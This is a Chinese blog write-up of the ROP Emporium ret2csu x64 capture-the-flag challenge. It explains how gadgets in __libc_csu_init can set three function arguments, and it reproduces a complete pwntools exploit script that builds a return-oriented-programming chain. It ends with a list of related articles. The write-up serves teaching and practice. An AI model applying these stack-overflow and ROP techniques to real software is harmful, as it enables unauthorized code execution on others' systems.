ROP Emporium ret2csu
现在的ROP Emporium一共有8题,后几道题相比过去的题有了一些变化,国内的新wp也是非常难找,本篇基于ROP Emporium - Ret2csu (x64) - blog.r0kithax.com https://blog.r0kithax.com/ctf/infosec/2020/10/20/rop-emporium-ret2csu-x64.html
这位大佬的wp进行部分的解释。
打开ida,依旧是惯例的明显栈溢出的pwnme,ret2win中我们可以看到flag是加密后文件,key文件是钥匙,解密后puts,问题在于传参,1,2,3参数需要符合函数。下面内容便在处理如何把参传入并打开函数。
首先打开ROPgadget,并没有直接的pop rdi, rsi, rdx能让我们使用。我们需要去间接的传参。我们提供了这样一条思路:
第一条利用ropgadget得到的
一般来说,到这里思路就断了,mov中也很难找到可利用的。但是这里大佬找到了__libc_csu_init
mov后直接call,导致不用再考虑后面的东西。
现在的问题变成了,r12这块的地址应该放什么,为了让程序进行下去,ret是再好不过的了。
这里我们理清一下call [地址] 的意义。[地址]相当于*地址。call 地址则是把该地址上的数据mov到ip。
因此我们需要的是一个地址,这个地址上存了一个地址,存的这个地址上存的才是我们想要的ret。我本来也是想试着把ret的地址存到某一块已知位置,但未能实现,这里采用的是大佬的方法。
这里能存着上面的地址我是万万没想到。
最后是大佬的exp,很工整,可以试着理解一下的:
from pwn import *# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'# Project constants
PROCESS = './ret2csu'
io = process(PROCESS)# Debugging
'''
gdbscript = "b *0x0040069a"
pid = gdb.attach(io, gdbscript=gdbscript)
'''# ROP Gadgets
pop_rdi_ret = p64(0x004006a3) # pop rdi; ret;# The third stack value needs to be the RSP value
ret2csu_gadget_staging = p64(0x0040069a) # pop rbx;# pop rbp;# pop r12;# pop r13;# pop r14;# pop r15;# retret2csu_gadget_call_offset = p64(0x00400680) # mov rdx, r15; # mov rsi, r14;# mov edi, r13d;# call qword [r12 + rbx*8]'''
Pointer to an executable location with the following gadget:sub rsp, 8;
add rsp, 8;
ret;
'''
dereferenceable_addr = p64(0x00600e48)
ret2win = p64(io.elf.plt['ret2win'])'''
R15 = RDX = 0xd00df00dd00df00d
R14 = RSI = 0xcafebabecafebabe
R13 = RDI = 0xdeadbeefdeadbeef
R12 = 0x00600e48
RBX = 0x0
'''# Craft the ROP chain
rop_chain = b"".join([ret2csu_gadget_staging,p64(0), # RBX = 0p64(0x01), # RBP = 0x01; this is important so that we can avoid the conditional jump in __libc_csu_init after calling the dereferenced addressdereferenceable_addr, # R12 = pointer to a safe address to dereferencep64(0xdeadbeefdeadbeef), # R13 = RDI = 0xdeadbeefdeadbeefp64(0xcafebabecafebabe), # R14 = RSI = 0xcafebabecafebabep64(0xd00df00dd00df00d), # R15 = RDX = 0xd00df00dd00df00dret2csu_gadget_call_offset, # Call the value of the dereferenced addressp64(0), # Align the stack so that after the values pop, we still have control of itp64(0), p64(0), p64(0), p64(0), p64(0), p64(0), pop_rdi_ret, # Adjust RDI back to 0xdeadbeefdeadbeefp64(0xdeadbeefdeadbeef),ret2win # Call ret2win with the necessary arguments
])# Craft the payload
offset = 40
padding = b"A" * offset
payload = b"".join([padding,rop_chain
])# Send the payload
io.clean()
io.sendline(payload)
io.interactive()
ROP Emporium ret2csu相关推荐
- ret2csu ROP Emporium
14 ret2csu 参考网址 [原创]ret2csu学习-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com ROP Emporium - Ret2csu (x64) - blog.r ...
- ROP Emporium x86_64 1~6题
ROP Emporium是一个提供ROP攻击学习样板程序的网站,一共8道题,每道题有64位.32位.ARM.MIPS共4种格式的ELF文件,适用于多种平台,难度依次递增.本文档为前6道题的x86_64 ...
- ROP Emporium做题记录Challenge1-5(x86)
题目地址rop emporium 1.ret2win(x86-32) from pwn import * p = process('./ret2win32') ret2win_addr = 0x804 ...
- ROP_Emporium_ret2csu
文章目录 1. ret2csu 信息收集 反汇编 关于ret2csu利用 Rop chain Exp 3. 参考文章 1. ret2csu 信息收集 题目只有64位版本,提供了以下文件: encryp ...
- 软件安全实验——lab7(缓冲区溢出3:返回导向编程技术ROP)
目录标题 1.举例详细解释什么是Return-orientd Programming ROP?(至少两个例子:x86 和arm) (1)ROP在X86指令集上的实例 (2)ROP在ARM上的可行性 2 ...
- cannot resolve symbol r_64位ret2_dl_runtime_resolve模版题以及踩坑记录
什么是ret2dl攻击 当程序在第一次加载某个函数的时候,got表中对应的表项还没有写入真实的地址(因为是第一次调用),所以这个时候就需要调用_dl_runtime_resolve函数将真实的地址写入 ...
- ROP_Emporium_write4
文章目录 1. write432 信息收集 黑盒测试 反汇编 思路 Exp 2. write4 反汇编 Payload Exp 3. 参考文章 1. write432 信息收集 题目给了3个文件:wr ...
- ROP_Emporium_badchars
文章目录 1. badchars32 信息收集 黑盒测试 反汇编 思路 Exp 2. badchars 信息 反汇编 构造Payload 调试分析 Exp 3. 参考文章 1. badchars32 ...
- 二进制学习基础文章整理
二进制.栈溢出入门笔记整理 以下是我入门二进制的一些笔记整理链接,特此整理出来,方便自己查阅,也方便读者阅读. 必备知识 <linux程序的常用保护机制> <PLT表和GOT表学习& ...
最新文章
- Bat_To_Exe_Converter 乱码 中文
- Hyperledger Fabric区块链工具configtxgen配置configtx.yaml
- gfi截图_GFI Backup Home Edition是Windows的免费数据备份实用程序
- 微博平台StatusNet研究(4):快速安装
- 10个绕过反病毒的恶意用户技巧
- 【Java】保留X位有效数字
- python2.7安装scipy_在centOS上离安装Python2.7以及numpy,scipy,matplot,sklearn等
- Mybatis-plus不走租户的配置方式
- java基础 6 基本类型与运算
- a标签的CSS伪类,点击后变色
- Mac OS X Tips
- 从日志中截取某个时间段的日志分析
- 【PRML 学习笔记】第二章 - 概率分布 (Probability Distributions)
- 学会计需要学计算机应用吗,会计都要学什么
- Ghost安装系统步骤
- 从零搭建KVM虚拟服务器
- 计算机开机总要按f1键,为什么开机要按f1键?win7每次开机按f1才能进入系统怎么办...
- Python测试题(绘制柱状图、画出sin函数图像、散点图、pandas实现列表)
- redefinition; different type modifiers错误解决
- 苹果手机怎么设置动态壁纸